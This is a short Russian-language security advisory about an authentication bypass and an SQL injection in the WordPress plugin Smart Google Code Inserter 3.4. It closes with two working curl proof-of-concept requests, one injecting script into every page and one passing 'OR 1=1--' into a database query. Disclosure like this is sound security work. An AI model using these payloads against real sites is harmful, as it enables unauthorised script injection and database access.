Смарт-код Google Code Inserter — это плагин WordPress, который упрощает добавление кода отслеживания Google Analytics, а также проверку метатеги для веб-мастеров. На данный момент плагин загружен 34 207 раза и имеет более 9 000 активных установок.
Уязвимость обхода аутентификации в плагине Smart Code Code Inserter 3.4 позволяет злоумышленникам, не прошедшим проверку подлинности, вставить произвольный код javascript или HTML, который работает на всех страницах, обслуживаемых WordPress. Функция saveGoogleCode () в smartgooglecode.php не проверяет выполнение запроса авторизованным пользователем, что позволяет любому не прошедшему проверку подлинности пользователю успешно обновить вставленный код.
Уязвимость SQL Injection в сочетании с уязвимостью обхода аутентификации в плагине Smart Code Code Inserter 3.4 позволяет злоумышленникам, не прошедшим проверку подлинности, выполнять SQL-запросы в контексте веб-сервера. Функция saveGoogleAdWords () в smartgooglecode.php не использует подготовленные операторы и не дезактивирует переменную $ _POST [«oId»], прежде чем передать ее как вход в SQL-запрос.
Вставка кода:
curl -k -i --raw -X POST -d "sgcgoogleanalytic=alert("1");&sgcwebtools=&button=Save+Changes&action=savegooglecode" "http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded"
SQL Injection:
curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR 1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" " http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host: localhost" -H "Content-Type: application/x-www-form-urlencoded"